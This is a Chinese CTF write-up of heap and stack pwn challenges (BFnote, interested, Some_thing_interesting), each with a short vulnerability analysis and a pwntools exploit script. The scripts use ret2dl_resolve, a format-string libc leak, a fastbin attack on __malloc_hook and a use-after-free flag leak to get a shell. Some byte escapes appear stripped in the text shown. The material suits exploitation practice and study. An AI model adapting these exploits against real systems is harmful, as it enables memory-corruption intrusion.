0x1 BFnote
程序分析
保护全开,看似无法利用,但其实还有 ret2_dl_runtime_resolve 可以利用,至于 canary 的绕过,出题人的博客写得很详细春秋杯网络安全公益联赛 BFnote出题小结
exp
from pwn_debug import *
file_name = './BFnote'
libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('')
pdbg.remote('')
p = pdbg.run('local')
elf = pdbg.elf
libc = pdbg.libc
canary=0xdeadbe00
postscript=0x804A060
ret2dl_resolve=pdbg.ret2dl_resolve()
addr,resolve_data,resovle_call=ret2dl_resolve.build_normal_resolve(postscript + 0x3a8,'system',postscript + 0x3a8 + 0x400)
print 'addr:' + hex(addr)
#addr:0x804a428
print 'resolve_data_len:' + str(len(resolve_data))
#resolve_data_len:38
payload1="1"*0x32+p32(canary)+p32(0)+p32(addr + 4 + len(resolve_data) + 0x44)
p.recvuntil('description : ')
p.send(payload1)
payload2 = "s" * (0x3a8 + 0x20) + resolve_data + 'a' * 0x44 + resovle_call
payload2 += p32(0) + p32(postscript +len(payload2) + 8) + '/bin/shx00'
#gdb.attach(p)
p.recvuntil('postscript : ')
p.send(payload2)
p.recvuntil('notebook size : ')
p.sendline(str(0x200000))
p.recvuntil('title size : ')
p.sendline(str(0x20170c-0x10))
p.recvuntil('please re-enter :
')
p.sendline(str(100))
p.recvuntil('your title : ')
p.sendline('2222')
p.recvuntil('your note : ')
p.send(p32(canary))
p.interactive()
ps:这里 resolve_data 跟 resovle_call 之间需要填充 0x44 个字节,这个是按0ctf_babystack_ret2dl_resolve的 exp 写的,具体原因以后分析。
0x2 interested
程序分析
main:
code = input_code();
input_code:
printf("> Input your code please:", 0LL);
read(0, s1, 0x13uLL);
if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
0.Check Code:
printf("# Your Code is ");
printf(code);
main 中 code 可以输入 0x13 个字节,而 OreOOrereOOreO 只有 14 个字节,所以后面几个字节可以写入格式化字符串 leak libc 。
3.Delete Oreo:
free(addr[idx]);
free(re_addr[idx]);
delete 中没有将指针置 0 ,存在 uaf 。
利用过程
先格式化字符串漏洞 leak libc ,然后利用 uaf fast bin attack 打 malloc_hook 为 onegadget 即可 getshell 。
exp
from pwn_debug import *
file_name = './interested'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
context.binary = file_name
#context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6',
'/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')
#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)
def add(length,O,re_length,RE):
p.sendlineafter("> Now please tell me what you want to do :",str(1))
p.sendlineafter("> O's length : ",str(length))
p.sendafter("> O : ",O)
p.sendlineafter("> RE's length : ",str(re_length))
p.sendafter("> RE : ",RE)
def edit(idx,O,RE):
p.sendlineafter("> Now please tell me what you want to do :",str(2))
p.sendlineafter("> Oreo ID : ",str(idx))
p.sendafter("> O : ",O)
p.sendafter("> RE : ",RE)
def delete(idx):
p.sendlineafter("> Now please tell me what you want to do :",str(3))
p.sendlineafter("> Oreo ID : ",str(idx))
def show(idx):
p.sendlineafter("> Now please tell me what you want to do :",str(4))
p.sendlineafter("> Oreo ID : ",str(idx))
p.sendafter('> Input your code please:','OreOOrereOOreO' + '%17$p')
p.sendlineafter("> Now please tell me what you want to do :",str(0))
p.recvuntil('OreOOrereOOreO0x')
__libc_start_main_240 = int(p.recv(12),16)
print '__libc_start_main_240:' + hex(__libc_start_main_240)
libc_base = __libc_start_main_240 - libc.symbols['__libc_start_main'] - 240
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print 'onegadget:' + hex(onegadget)
add(0x60,'aaaa',0x10,'bbbb') # 1
delete(1)
edit(1,p64(malloc_hook - 0x23),'x00')
add(0x60,'aaaa',0x10,'aaaa') # 2
add(0x60,'aaaa',0x10,'bbbb') # 3
edit(3,'a' * 0x13 + p64(onegadget),'bbbb')
p.sendlineafter("> Now please tell me what you want to do :",str(1))
p.sendlineafter("> O's length : ",str(0x30))
#gdb.attach(p)
p.interactive()
0x3 borrow_stack
这个之前已经写过 wp 了
gyctf_2020_borrowstack wp
0x4 Some_thing_interesting
程序分析
read_flag:
stream = fopen("/flag", "r");
fgets(flag, 45, stream);
程序开头将 flag 读入 bss 段中。
3.Delete Banana:
free(*(void **)addr[idx]);
free(*((void **)addr[idx] + 1));
指针没有置 0 ,存在 uaf 。
4.View Banana:
printf("# Banana's ba is %s
", *(_QWORD *)addr[idx]);
printf("# Banana's na is %s
", *((_QWORD *)addr[idx] + 1));
将两个指针的内容输出。
利用过程
将指向 flag 的指针布置到 uaf 的 chunk 上,然后通过 show 打印出 flag 的内容即可。
exp
from pwn_debug import *
file_name = './excited'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6',
'/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')
#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)
def add(ba_length,ba,na_length,na):
p.sendlineafter('> Now please tell me what you want to do :',str(1))
p.sendlineafter("> ba's length : ",str(ba_length))
p.sendafter('> ba : ',ba)
p.sendlineafter("> na's length : ",str(na_length))
p.sendafter("> na : ",na)
def delete(idx):
p.sendlineafter('> Now please tell me what you want to do :',str(3))
p.sendlineafter("> Banana ID : ",str(idx))
def show(idx):
p.sendlineafter('> Now please tell me what you want to do :',str(4))
p.sendlineafter("> SCP project ID : ",str(idx))
add(0x20,'aaaa',0x20,'bbbb') # 0
add(0x20,'aaaa',0x20,'bbbb') # 1
delete(0)
delete(1)
add(0x10, p64(0x6020a8), 0x20, 'bbb') # 2
show(0)
#gdb.attach(p)
p.interactive()
未完待续...懒得更了,感觉都不难